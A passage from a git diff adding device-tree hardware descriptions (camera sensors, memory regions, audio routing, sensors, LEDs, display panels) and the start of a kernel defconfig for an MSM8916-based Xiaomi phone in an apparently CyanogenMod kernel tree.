<1 0x3d81 2 0x1 1 10>; + qcom,poll3 = <0 0x0 2 0 1 1>; + qcom,mem3 = <228 0x7010 2 0 1 1>; + cam_vdig-supply = <&pm8916_l2>; + cam_vio-supply = <&pm8916_l6>; + cam_vana-supply = <&pm8916_l17>; + cam_vaf-supply = <&pm8916_l10>; + qcom,cam-vreg-type = <0 0 0 0>; + qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; + qcom,cam-vreg-min-voltage = <1200000 1800000 2850000 2800000>; + qcom,cam-vreg-max-voltage = <1200000 1800000 2850000 2800000>; + qcom,cam-vreg-op-mode = <200000 200000 80000 100000>; + pinctrl-names = "cam_default", "cam_suspend"; + pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; + pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; + gpios = <&msm_gpio 26 0>, + <&msm_gpio 35 0>, + <&msm_gpio 34 0>; + qcom,gpio-reset = <1>; + qcom,gpio-standby = <2>; + qcom,gpio-req-tbl-num = <0 1 2 >; + qcom,gpio-req-tbl-flags = <1 0 0>; + qcom,gpio-req-tbl-label = "CAMIF_MCLK", + "CAM_RESET1", + "CAM_STANDBY"; + qcom,cam-power-seq-type = "sensor_vreg", + "sensor_vreg", + "sensor_vreg", + "sensor_vreg", + "sensor_gpio", + "sensor_gpio", + "sensor_gpio", + "sensor_gpio", + "sensor_clk"; + qcom,cam-power-seq-val = "cam_vio", + "cam_vana", + "cam_vdig", + "cam_vaf", + "sensor_gpio_standby", + "sensor_gpio_reset", + "sensor_gpio_standby", + "sensor_gpio_reset", + "sensor_cam_mclk"; + qcom,cam-power-seq-cfg-val = <1 1 1 1 0 0 1 1 23880000>; + qcom,cam-power-seq-delay = <1 10 10 5 10 10 10 10 10>; + + clocks = <&clock_gcc clk_mclk0_clk_src>, + <&clock_gcc clk_gcc_camss_mclk0_clk>; + clock-names = "cam_src_clk", "cam_clk"; + }; + + qcom,camera@0 { + cell-index = <0>; + compatible = "qcom,camera"; + reg = <0x0>; + qcom,csiphy-sd-index = <0>; + qcom,csid-sd-index = <0>; + qcom,mount-angle = <90>; + qcom,actuator-src = <&actuator0>; + qcom,eeprom-src = <&eeprom0>; + qcom,led-flash-src = <&led_flash0>; + cam_vdig-supply = <&pm8916_l2>; + cam_vio-supply = <&pm8916_l6>; + cam_vana-supply = <&pm8916_l17>; + cam_vaf-supply = <&pm8916_l10>; + qcom,cam-vreg-type = <0 1 0 0>; + qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; + qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; + qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; + qcom,cam-vreg-op-mode = <200000 0 80000 100000>; + pinctrl-names = "cam_default", "cam_suspend"; + pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; + pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; + gpios = <&msm_gpio 26 0>, + <&msm_gpio 35 0>, + <&msm_gpio 34 0>, + <&msm_gpio 120 0>; + qcom,gpio-reset = <1>; + qcom,gpio-standby = <2>; + qcom,gpio-af-pwdm = <3>; + qcom,gpio-req-tbl-num = <0 1 2 3>; + qcom,gpio-req-tbl-flags = <1 0 0 0>; + qcom,gpio-req-tbl-label = "CAMIF_MCLK", + "CAM_RESET1", + "CAM_STANDBY", + "CAM_AF_PWDM"; + qcom,sensor-position = <0>; + qcom,sensor-mode = <0>; + qcom,cci-master = <0>; + qcom,mclk-23880000; + status = "ok"; + clocks = <&clock_gcc clk_mclk0_clk_src>, + <&clock_gcc clk_gcc_camss_mclk0_clk>; + clock-names = "cam_src_clk", "cam_clk"; + }; + + qcom,camera@1 { + cell-index = <1>; + compatible = "qcom,camera"; + reg = <0x1>; + qcom,csiphy-sd-index = <1>; + qcom,csid-sd-index = <1>; + qcom,mount-angle = <90>; + cam_vdig-supply = <&pm8916_l2>; + cam_vio-supply = <&pm8916_l6>; + cam_vana-supply = <&pm8916_l17>; + cam_vaf-supply = <&pm8916_l10>; + qcom,cam-vreg-type = <0 1 0 0>; + qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; + qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; + qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; + qcom,cam-vreg-op-mode = <200000 0 80000 100000>; + pinctrl-names = "cam_default", "cam_suspend"; + pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; + pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; + gpios = <&msm_gpio 27 0>, + <&msm_gpio 28 0>, + <&msm_gpio 33 0>; + qcom,gpio-reset = <1>; + qcom,gpio-standby = <2>; + qcom,gpio-req-tbl-num = <0 1 2>; + qcom,gpio-req-tbl-flags = <1 0 0>; + qcom,gpio-req-tbl-label = "CAMIF_MCLK", + "CAM_RESET", + "CAM_STANDBY"; + qcom,sensor-position = <1>; + qcom,sensor-mode = <0>; + qcom,cci-master = <0>; + qcom,mclk-23880000; + status = "ok"; + clocks = <&clock_gcc clk_mclk1_clk_src>, + <&clock_gcc clk_gcc_camss_mclk1_clk>; + clock-names = "cam_src_clk", "cam_clk"; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi new file mode 100644 index 0000000000000..bcafd23596ec6 --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -0,0 +1,354 @@ +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include "dsi-panel-r69431-720p-video.dtsi" +#include "dsi-panel-nt35521-720p-video.dtsi" +#include "dsi-panel-nt35521s-720p-video.dtsi" +#include "dsi-panel-nt35521-ofilm-720p-video.dtsi" +#include "dsi-panel-otm1285a-720p-video.dtsi" +#include "dsi-panel-r61308-720p-video.dtsi" +#include "dsi-panel-otm1285a-otp-720p-video.dtsi" +#include "dsi-panel-r61308-s88047a1-720p-video.dtsi" +#include "msm8916-camera-sensor-wt88047.dtsi" + +/ { + memory { + pstore_reserve_mem: pstore_reserve_region@0 { + linux,reserve-contiguous-region; + linux,reserve-region; + linux,remove-completely; + reg = <0x0 0x8c400000 0x0 0x00100000>; + label = "pstore_reserve_mem"; + }; + + splash_region@83000000 { /* Give this region to mdss_fb0 */ + status = "disabled"; + }; + + modem_adsp_region@0 { + reg = <0x0 0x86800000 0x0 0x05400000>; + }; + + pheripheral_region@0 { + reg = <0x0 0x8bc00000 0x0 0x0600000>; + }; + + secure_region@0 { + status = "disabled"; + }; + + venus_qseecom_region@0 { + reg = <0 0 0 0x600000>; + }; + }; +}; + +&soc { + ramoops { + compatible = "ramoops"; + status = "ok"; + + android,ramoops-buffer-start = <0x8c400000>; + android,ramoops-buffer-size = <0x100000>; + android,ramoops-console-size = <0x80000>; + android,ramoops-record-size = <0x20000>; + android,ramoops-dump-oops = <0x1>; + }; + + qcom,ion { + qcom,ion-heap@8 { /* CP_MM HEAP */ + status = "disabled"; + }; + }; + + sound { + compatible = "qcom,msm8x16-audio-codec"; + qcom,model = "msm8x16-wt88047-snd-card"; + qcom,msm-snd-card-id = <0>; + qcom,msm-ext-pa = "primary"; + qcom,msm-codec-type = "internal"; + qcom,msm-mbhc-hphl-swh = <1>; + qcom,msm-mbhc-gnd-swh = <0>; + qcom,msm-hs-micbias-type = "internal"; + qcom,audio-routing = + "RX_BIAS", "MCLK", + "SPK_RX_BIAS", "MCLK", + "INT_LDO_H", "MCLK", + "MIC BIAS External", "Handset Mic", + "MIC BIAS Internal2", "Headset Mic", + "MIC BIAS External", "Secondary Mic", + "AMIC1", "MIC BIAS External", + "AMIC2", "MIC BIAS Internal2", + "AMIC3", "MIC BIAS External"; + pinctrl-names = "cdc_lines_act", + "cdc_lines_sus"; + pinctrl-0 = <&cdc_pdm_lines_act>; + pinctrl-1 = <&cdc_pdm_lines_sus>; + asoc-platform = <&pcm0>, <&pcm1>, <&voip>, <&voice>, + <&loopback>, <&compress>, <&hostless>, + <&afe>, <&lsm>, <&routing>, <&lpa>; + asoc-platform-names = "msm-pcm-dsp.0", "msm-pcm-dsp.1", + "msm-voip-dsp", "msm-pcm-voice", "msm-pcm-loopback", + "msm-compress-dsp", "msm-pcm-hostless", "msm-pcm-afe", + "msm-lsm-client", "msm-pcm-routing", "msm-pcm-lpa"; + asoc-cpu = <&dai_pri_auxpcm>, <&dai_hdmi>, + <&dai_mi2s0>, <&dai_mi2s1>, <&dai_mi2s2>, <&dai_mi2s3>, + <&sb_0_rx>, <&sb_0_tx>, <&sb_1_rx>, <&sb_1_tx>, + <&sb_3_rx>, <&sb_3_tx>, <&sb_4_rx>, <&sb_4_tx>, + <&bt_sco_rx>, <&bt_sco_tx>, <&int_fm_rx>, <&int_fm_tx>, + <&afe_pcm_rx>, <&afe_pcm_tx>, <&afe_proxy_rx>, <&afe_proxy_tx>, + <&incall_record_rx>, <&incall_record_tx>, <&incall_music_rx>, + <&incall_music_2_rx>; + asoc-cpu-names = "msm-dai-q6-auxpcm.1", "msm-dai-q6-hdmi.8", + "msm-dai-q6-mi2s.0", "msm-dai-q6-mi2s.1", + "msm-dai-q6-mi2s.2", "msm-dai-q6-mi2s.3", + "msm-dai-q6-dev.16384", "msm-dai-q6-dev.16385", + "msm-dai-q6-dev.16386", "msm-dai-q6-dev.16387", + "msm-dai-q6-dev.16390", "msm-dai-q6-dev.16391", + "msm-dai-q6-dev.16392", "msm-dai-q6-dev.16393", + "msm-dai-q6-dev.12288", "msm-dai-q6-dev.12289", + "msm-dai-q6-dev.12292", "msm-dai-q6-dev.12293", + "msm-dai-q6-dev.224", "msm-dai-q6-dev.225", + "msm-dai-q6-dev.241", "msm-dai-q6-dev.240", + "msm-dai-q6-dev.32771", "msm-dai-q6-dev.32772", + "msm-dai-q6-dev.32773", "msm-dai-q6-dev.32770"; + asoc-codec = <&stub_codec>, <&pm8916_tombak_dig>; + asoc-codec-names = "msm-stub-codec.1", "tombak_codec"; + }; + + bq2022a { + compatible = "bq2022a"; + status= "okay"; + }; +}; + +&pm8916_mpps { + mpp@a300 { /* MPP 4 */ + /* Backlight PWM */ + qcom,mode = <1>; /* Digital output */ + qcom,invert = <0>; /* Disable Invert */ + qcom,src-sel = <4>; /* DTEST1 */ + qcom,vin-sel = <0>; /* VPH_PWR */ + qcom,master-en = <1>; /* Enable MPP */ + }; + + mpp@a100 { /* MPP 2 */ + /* HR LED */ + qcom,mode = <4>; + qcom,invert = <0>; + qcom,output-type = <0>; + qcom,vin-sel = <2>; + qcom,src-sel = <0>; + qcom,ain-route = <1>; + qcom,master-en = <1>; + }; +}; + +&mdss_mdp { + qcom,mdss-pref-prim-intf = "dsi"; + qcom,vbif-settings = <0x4 0x1>, <0xd8 0x707>, <0x124 0x3>; + + mdss_fb0: qcom,mdss_fb_primary { + /* Ketut P. Kumajaya: For old bootloader, old splash image */ + /* Both recovery and bootanimation framebuffer need this */ + qcom,memblock-reserve = <0x83200000 0xfa0000>; + qcom,mdss-fb-splash-logo-enabled; + }; +}; + +&pmx_mdss { + qcom,num-grp-pins = <1>; + qcom,pins = <&gp 25>; +}; + +&mdss_dsi0 { + qcom,dsi-pref-prim-pan = <&dsi_r69431_720p_video>; + qcom,dsi-pref-sub-pan = <&dsi_nt35521_720p_video>; + qcom,dsi-pref-sub1-pan = <&dsi_otm1285a_720p_video>; + qcom,dsi-pref-sub2-pan = <&dsi_r61308_720p_video>; + qcom,dsi-pref-sub3-pan = <&dsi_otm1285a_otp_720p_video>; + qcom,dsi-pref-sub4-pan = <&dsi_r61308_s88047a1_720p_video>; + qcom,dsi-pref-sub5-pan = <&dsi_nt35521s_720p_video>; + qcom,dsi-pref-sub6-pan = <&dsi_nt35521_ofilm_720p_video>; + pinctrl-names = "mdss_default", "mdss_sleep"; + pinctrl-0 = <&mdss_dsi_active>; + pinctrl-1 = <&mdss_dsi_suspend>; + + qcom,platform-reset-gpio = <&msm_gpio 25 0>; +}; + +&dsi_r69431_720p_video { + qcom,cont-splash-enabled; +}; + +&dsi_nt35521_720p_video { + qcom,cont-splash-enabled; +}; + +&dsi_nt35521s_720p_video { + qcom,cont-splash-enabled; +}; + +&dsi_nt35521_ofilm_720p_video { + qcom,cont-splash-enabled; +}; + +&dsi_otm1285a_720p_video { + qcom,cont-splash-enabled; +}; + +&dsi_r61308_720p_video { + /* Ketut P. Kumajaya: LCD garbled fix for HM2014817 */ + /* qcom,esd-check-enabled; */ + qcom,cont-splash-enabled; +}; + +&dsi_otm1285a_otp_720p_video { + qcom,cont-splash-enabled; +}; + +&dsi_r61308_s88047a1_720p_video { + /* qcom,esd-check-enabled; */ + qcom,cont-splash-enabled; +}; + +&tlmm_pinmux { + ltr553_int_pin { + qcom,pins = <&gp 113>; + qcom,pin-func = <0>; + qcom,num-grp-pins = <1>; + label = "ltr553-irq"; + ltr553_default: ltr553_default { + drive-strength = <6>; + bias-disable; + }; + ltr553_sleep: ltr553_sleep { + drive-strength = <6>; + bias-disable; + }; + }; +}; + +&i2c_0 { /* BLSP1 QUP2 */ + liteon@23 { + compatible = "liteon,ltr553"; + reg = <0x23>; + vdd-supply = <&pm8916_l17>; + vio-supply = <&pm8916_l6>; + interrupt-parent = <&msm_gpio>; + interrupts = <113 0x2>; + pinctrl-names = "default","sleep"; + pinctrl-0 = <<r553_default>; + pinctrl-1 = <<r553_sleep>; + liteon,irq-gpio = <&msm_gpio 113 0x2>; + liteon,als-ps-persist = <0>; + liteon,ps-led = <0x7f>; + liteon,ps-pulses = <4>; + liteon,wakeup-threshold = <4>; + liteon,als-integration-time = <0>; + }; + + mpu6050@68 { + compatible = "invn,mpu6050"; + reg = <0x68>; + pinctrl-names = "mpu_default","mpu_sleep"; + pinctrl-0 = <&mpu6050_default>; + pinctrl-1 = <&mpu6050_sleep>; + interrupt-parent = <&msm_gpio>; + interrupts = <115 0x2>; + vdd-supply = <&pm8916_l17>; + vlogic-supply = <&pm8916_l16>; + vi2c-supply = <&pm8916_l6>; + invn,gpio-int = <&msm_gpio 115 0x2>; + invn,place = "Portrait Up Back Side"; + }; + + akm@c { + compatible = "ak,ak09911"; + reg = <0xc>; + vdd-supply = <&pm8916_l17>; + vio-supply = <&pm8916_l6>; + akm,layout = <0x6>; + akm,auto-report; + }; + + yamaha@2e { + compatible = "yamaha,yas537"; + reg = <0x2e>; + vdd-supply = <&pm8916_l17>; + vio-supply = <&pm8916_l6>; + }; +}; + +&i2c_6 { /* BLSP1 QUP6 */ + nfc-nci@e { + status = "disabled"; + }; + + aw2013@45 { + compatible = "awinic,aw2013"; + reg = <0x45>; + vdd-supply = <&pm8916_l17>; + vcc-supply = <&pm8916_l6>; + + aw2013,red { + aw2013,name = "red"; + aw2013,id = <0>; + aw2013,max-brightness = <255>; + aw2013,max-current = <3>; + aw2013,rise-time-ms = <2>; + aw2013,hold-time-ms = <1>; + aw2013,fall-time-ms = <2>; + aw2013,off-time-ms = <1>; + }; + + aw2013,green { + aw2013,name = "green"; + aw2013,id = <1>; + aw2013,max-brightness = <255>; + aw2013,max-current = <3>; + aw2013,rise-time-ms = <2>; + aw2013,hold-time-ms = <1>; + aw2013,fall-time-ms = <2>; + aw2013,off-time-ms = <1>; + }; + + aw2013,blue { + aw2013,name = "blue"; + aw2013,id = <2>; + aw2013,max-brightness = <255>; + aw2013,max-current = <3>; + aw2013,rise-time-ms = <2>; + aw2013,hold-time-ms = <1>; + aw2013,fall-time-ms = <2>; + aw2013,off-time-ms = <1>; + }; + }; +}; + +&sdc2_cd_on { + /delete-property/ bias-pull-up; + bias-pull-down; +}; + +&sdc2_cd_off { + /delete-property/ bias-disable; + bias-pull-down; +}; + +&sdhc_2 { + interrupts = <0 1>; + interrupt-map = <0 &intc 0 125 0 + 1 &intc 0 221 0>; + interrupt-names = "hc_irq", "pwr_irq"; + /delete-property/ cd-gpios; +}; diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig new file mode 100644 index 0000000000000..9c37ee937b69d --- /dev/null +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -0,0 +1,3758 @@ +# +# Automatically generated file; DO NOT EDIT. +# Linux/arm 3.10.49 Kernel Configuration +# +CONFIG_ARM=y +CONFIG_ARM_HAS_SG_CHAIN=y +CONFIG_SYS_SUPPORTS_APM_EMULATION=y +CONFIG_HAVE_PROC_CPU=y +CONFIG_STACKTRACE_SUPPORT=y +CONFIG_LOCKDEP_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_RWSEM_GENERIC_SPINLOCK=y +CONFIG_ARCH_HAS_CPUFREQ=y +CONFIG_GENERIC_HWEIGHT=y +CONFIG_GENERIC_CALIBRATE_DELAY=y +CONFIG_NEED_DMA_MAP_STATE=y +CONFIG_ARCH_WANT_KMAP_ATOMIC_FLUSH=y +CONFIG_VECTORS_BASE=0xffff0000 +# CONFIG_ARM_PATCH_PHYS_VIRT is not set +CONFIG_NEED_MACH_GPIO_H=y +CONFIG_NEED_MACH_IO_H=y +CONFIG_NEED_MACH_MEMORY_H=y +CONFIG_PHYS_OFFSET=0x80000000 +CONFIG_GENERIC_BUG=y +# CONFIG_ARCH_RANDOM is not set +CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" +CONFIG_IRQ_WORK=y +CONFIG_BUILDTIME_EXTABLE_SORT=y + +# +# General setup +# +CONFIG_INIT_ENV_ARG_LIMIT=32 +CONFIG_CROSS_COMPILE="" +CONFIG_LOCALVERSION="-blackhawk" +CONFIG_LOCALVERSION_AUTO=y +CONFIG_HAVE_KERNEL_GZIP=y +CONFIG_HAVE_KERNEL_LZMA=y +CONFIG_HAVE_KERNEL_XZ=y +CONFIG_HAVE_KERNEL_LZO=y +CONFIG_KERNEL_GZIP=y +# CONFIG_KERNEL_LZMA is not set +# CONFIG_KERNEL_XZ is not set +# CONFIG_KERNEL_LZO is not set +CONFIG_DEFAULT_HOSTNAME="(none)" +CONFIG_SWAP=y +CONFIG_SYSVIPC=y +CONFIG_SYSVIPC_SYSCTL=y +# CONFIG_POSIX_MQUEUE is not set +# CONFIG_FHANDLE is not set +CONFIG_AUDIT=y +CONFIG_AUDITSYSCALL=y +CONFIG_AUDIT_WATCH=y +CONFIG_AUDIT_TREE=y +# CONFIG_AUDIT_LOGINUID_IMMUTABLE is not set + +# +# IRQ subsystem +# +CONFIG_MAY_HAVE_SPARSE_IRQ=y +CONFIG_GENERIC_IRQ_PROBE=y +CONFIG_GENERIC_IRQ_SHOW=y +CONFIG_HARDIRQS_SW_RESEND=y +CONFIG_IRQ_DOMAIN=y +# CONFIG_IRQ_DOMAIN_DEBUG is not set +CONFIG_SPARSE_IRQ=y +CONFIG_KTIME_SCALAR=y +CONFIG_GENERIC_CLOCKEVENTS=y +CONFIG_GENERIC_CLOCKEVENTS_BUILD=y +CONFIG_ARCH_HAS_TICK_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y + +# +# Timers subsystem +# +CONFIG_TICK_ONESHOT=y +CONFIG_NO_HZ_COMMON=y +# CONFIG_HZ_PERIODIC is not set +CONFIG_NO_HZ_IDLE=y +CONFIG_NO_HZ=y +CONFIG_HIGH_RES_TIMERS=y + +# +# CPU/Task time and stats accounting +# +CONFIG_TICK_CPU_ACCOUNTING=y +# CONFIG_IRQ_TIME_ACCOUNTING is not set +# CONFIG_BSD_PROCESS_ACCT is not set +# CONFIG_TASKSTATS is not set + +# +# RCU Subsystem +# +CONFIG_TREE_PREEMPT_RCU=y +CONFIG_PREEMPT_RCU=y +CONFIG_RCU_STALL_COMMON=y +# CONFIG_RCU_USER_QS is not set +CONFIG_RCU_FANOUT=32 +CONFIG_RCU_FANOUT_LEAF=16 +# CONFIG_RCU_FANOUT_EXACT is not set +CONFIG_RCU_FAST_NO_HZ=y +# CONFIG_TREE_RCU_TRACE is not set +# CONFIG_RCU_BOOST is not set +# CONFIG_RCU_NOCB_CPU is not set +CONFIG_IKCONFIG=y +# CONFIG_IKCONFIG_PROC is not set +CONFIG_LOG_BUF_SHIFT=21 +CONFIG_GENERIC_SCHED_CLOCK=y +CONFIG_CGROUPS=y +CONFIG_CGROUP_DEBUG=y +CONFIG_CGROUP_FREEZER=y +# CONFIG_CGROUP_DEVICE is not set +# CONFIG_CPUSETS is not set +CONFIG_CGROUP_CPUACCT=y +CONFIG_RESOURCE_COUNTERS=y +# CONFIG_MEMCG is not set +# CONFIG_CGROUP_PERF is not set +CONFIG_CGROUP_SCHED=y +CONFIG_FAIR_GROUP_SCHED=y +# CONFIG_CFS_BANDWIDTH is not set +CONFIG_RT_GROUP_SCHED=y +# CONFIG_BLK_CGROUP is not set +CONFIG_SCHED_HMP=y +# CONFIG_CHECKPOINT_RESTORE is not set +CONFIG_NAMESPACES=y +# CONFIG_UTS_NS is not set +# CONFIG_IPC_NS is not set +# CONFIG_USER_NS is not set +# CONFIG_PID_NS is not set +CONFIG_NET_NS=y +CONFIG_UIDGID_CONVERTED=y +# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set +# CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set +CONFIG_RELAY=y +CONFIG_BLK_DEV_INITRD=y +CONFIG_INITRAMFS_SOURCE="" +CONFIG_RD_GZIP=y +CONFIG_RD_BZIP2=y +CONFIG_RD_LZMA=y +# CONFIG_RD_XZ is not set +# CONFIG_RD_LZO is not set +CONFIG_CC_OPTIMIZE_FOR_SIZE=y +CONFIG_SYSCTL=y +CONFIG_ANON_INODES=y +CONFIG_HAVE_UID16=y +CONFIG_HOTPLUG=y +CONFIG_PANIC_TIMEOUT=5 +CONFIG_EXPERT=y +CONFIG_UID16=y +# CONFIG_SYSCTL_SYSCALL is not set +CONFIG_KALLSYMS=y +CONFIG_KALLSYMS_ALL=y +CONFIG_PRINTK=y +CONFIG_BUG=y +CONFIG_ELF_CORE=y +CONFIG_BASE_FULL=y +CONFIG_FUTEX=y +CONFIG_EPOLL=y +CONFIG_SIGNALFD=y +CONFIG_TIMERFD=y +CONFIG_EVENTFD=y +CONFIG_SHMEM=y +CONFIG_AIO=y +CONFIG_EMBEDDED=y +CONFIG_HAVE_PERF_EVENTS=y +CONFIG_PERF_USE_VMALLOC=y + +# +# Kernel Performance Events And Counters +# +CONFIG_PERF_EVENTS=y +# CONFIG_DEBUG_PERF_USE_VMALLOC is not set +CONFIG_VM_EVENT_COUNTERS=y +# CONFIG_SLUB_DEBUG is not set +CONFIG_COMPAT_BRK=y +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_PROFILING=y +CONFIG_TRACEPOINTS=y +# CONFIG_OPROFILE is not set +CONFIG_HAVE_OPROFILE=y +CONFIG_JUMP_LABEL=y +# CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set +CONFIG_HAVE_KPROBES=y +CONFIG_HAVE_KRETPROBES=y +CONFIG_HAVE_ARCH_TRACEHOOK=y +CONFIG_HAVE_DMA_ATTRS=y +CONFIG_HAVE_DMA_CONTIGUOUS=y +CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_GENERIC_IDLE_POLL_SETUP=y +CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y +CONFIG_HAVE_CLK=y +CONFIG_HAVE_DMA_API_DEBUG=y +CONFIG_HAVE_HW_BREAKPOINT=y +CONFIG_HAVE_ARCH_JUMP_LABEL=y +CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y +CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +CONFIG_SECCOMP_FILTER=y +CONFIG_HAVE_CC_STACKPROTECTOR=y +# CONFIG_CC_STACKPROTECTOR is not set +CONFIG_CC_STACKPROTECTOR_NONE=y +# CONFIG_CC_STACKPROTECTOR_REGULAR is not set +# CONFIG_CC_STACKPROTECTOR_STRONG is not set +CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOD_ARCH_SPECIFIC=y +CONFIG_MODULES_USE_ELF_REL=y +CONFIG_CLONE_BACKWARDS=y +CONFIG_OLD_SIGSUSPEND3=y +CONFIG_OLD_SIGACTION=y + +# +# GCOV-based kernel profiling +# +# CONFIG_GCOV_KERNEL is not set +CONFIG_HAVE_GENERIC_DMA_COHERENT=y +CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=0 +# CONFIG_MODULES is not set +CONFIG_STOP_MACHINE=y +CONFIG_BLOCK=y +CONFIG_LBDAF=y +CONFIG_BLK_DEV_BSG=y +# CONFIG_BLK_DEV_BSGLIB is not set +# CONFIG_BLK_DEV_INTEGRITY is not set + +# +# Partition Types +# +CONFIG_PARTITION_ADVANCED=y +# CONFIG_ACORN_PARTITION is not set +# CONFIG_OSF_PARTITION is not set +# CONFIG_AMIGA_PARTITION is not set +# CONFIG_ATARI_PARTITION is not set +# CONFIG_MAC_PARTITION is not set +CONFIG_MSDOS_PARTITION=y +# CONFIG_BSD_DISKLABEL is not set +# CONFIG_MINIX_SUBPARTITION is not set +# CONFIG_SOLARIS_X86_PARTITION is not set +# CONFIG_UNIXWARE_DISKLABEL is not set +# CONFIG_LDM_PARTITION is not set +# CONFIG_SGI_PARTITION is not set +# CONFIG_ULTRIX_PARTITION is not set +# CONFIG_SUN_PARTITION is not set +# CONFIG_KARMA_PARTITION is not set +CONFIG_EFI_PARTITION=y +# CONFIG_SYSV68_PARTITION is not set + +# +# IO Schedulers +# +CONFIG_IOSCHED_NOOP=y +# CONFIG_IOSCHED_TEST is not set +CONFIG_IOSCHED_DEADLINE=y +CONFIG_IOSCHED_ROW=y +CONFIG_IOSCHED_CFQ=y +# CONFIG_DEFAULT_DEADLINE is not set +# CONFIG_DEFAULT_ROW is not set +# CONFIG_DEFAULT_CFQ is not set +CONFIG_DEFAULT_NOOP=y +CONFIG_DEFAULT_IOSCHED="noop" +CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y +CONFIG_MUTEX_SPIN_ON_OWNER=y +CONFIG_FREEZER=y + +# +# System Type +# +CONFIG_MMU=y +# CONFIG_ARCH_MULTIPLATFORM is not set +# CONFIG_ARCH_INTEGRATOR is not set +# CONFIG_ARCH_REALVIEW is not set +# CONFIG_ARCH_VERSATILE is not set +# CONFIG_ARCH_AT91 is not set +# CONFIG_ARCH_CLPS711X is not set +# CONFIG_ARCH_GEMINI is not set +# CONFIG_ARCH_EBSA110 is not set +# CONFIG_ARCH_EP93XX is not set +# CONFIG_ARCH_FOOTBRIDGE is not set +# CONFIG_ARCH_NETX is not set +# CONFIG_ARCH_IOP13XX is not set +# CONFIG_ARCH_IOP32X is not set +# CONFIG_ARCH_IOP33X is not set +# CONFIG_ARCH_IXP4XX is not set +# CONFIG_ARCH_DOVE is not set +# CONFIG_ARCH_KIRKWOOD is not set +# CONFIG_ARCH_MV78XX0 is not set +# CONFIG_ARCH_ORION5X is not set +# CONFIG_ARCH_MMP is not set +# CONFIG_ARCH_KS8695 is not set +# CONFIG_ARCH_W90X900 is not set +# CONFIG_ARCH_LPC32XX is not set +# CONFIG_ARCH_PXA is not set +CONFIG_ARCH_MSM=y +# CONFIG_ARCH_SHMOBILE is not set +# CONFIG_ARCH_RPC is not set +# CONFIG_ARCH_SA1100 is not set +# CONFIG_ARCH_S3C24XX is not set +# CONFIG_ARCH_S3C64XX is not set +# CONFIG_ARCH_S5P64X0 is not set +# CONFIG_ARCH_S5PC100 is not set +# CONFIG_ARCH_S5PV210 is not set +# CONFIG_ARCH_EXYNOS is not set +# CONFIG_ARCH_SHARK is not set +# CONFIG_ARCH_U300 is not set +# CONFIG_ARCH_DAVINCI is not set +# CONFIG_ARCH_OMAP1 is not set +# CONFIG_GPIO_PCA953X is not set +# CONFIG_KEYBOARD_GPIO_POLLED is not set + +# +# MSM SoC Type +# +# CONFIG_ARCH_MSM8974 is not set +# CONFIG_ARCH_APQ8084 is not set +# CONFIG_ARCH_MSM8909 is not set +CONFIG_ARCH_MSM8916=y +# CONFIG_ARCH_FSM9900 is not set +# CONFIG_ARCH_FSM9010 is not set +# CONFIG_ARCH_MDM9630 is not set +# CONFIG_ARCH_MSMZIRC is not set +# CONFIG_ARCH_MDMFERRUM is not set +# CONFIG_ARCH_MSM8610 is not set +# CONFIG_ARCH_MSM8226 is not set +CONFIG_MSM_CORTEX_A53=y +CONFIG_MSM_SMP=y +CONFIG_ARCH_MSM_CORTEXMP=y +# CONFIG_MSM_LPM_TEST is not set +# CONFIG_MSM_STACKED_MEMORY is not set +CONFIG_MSM_AMSS_VERSION=6225 +# CONFIG_MSM_AMSS_VERSION_6210 is not set +# CONFIG_MSM_AMSS_VERSION_6220 is not set +CONFIG_MSM_AMSS_VERSION_6225=y +CONFIG_MSM7X00A_USE_GP_TIMER=y +# CONFIG_MSM7X00A_USE_DG_TIMER is not set +CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE_SUSPEND=y +# CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE is not set +# 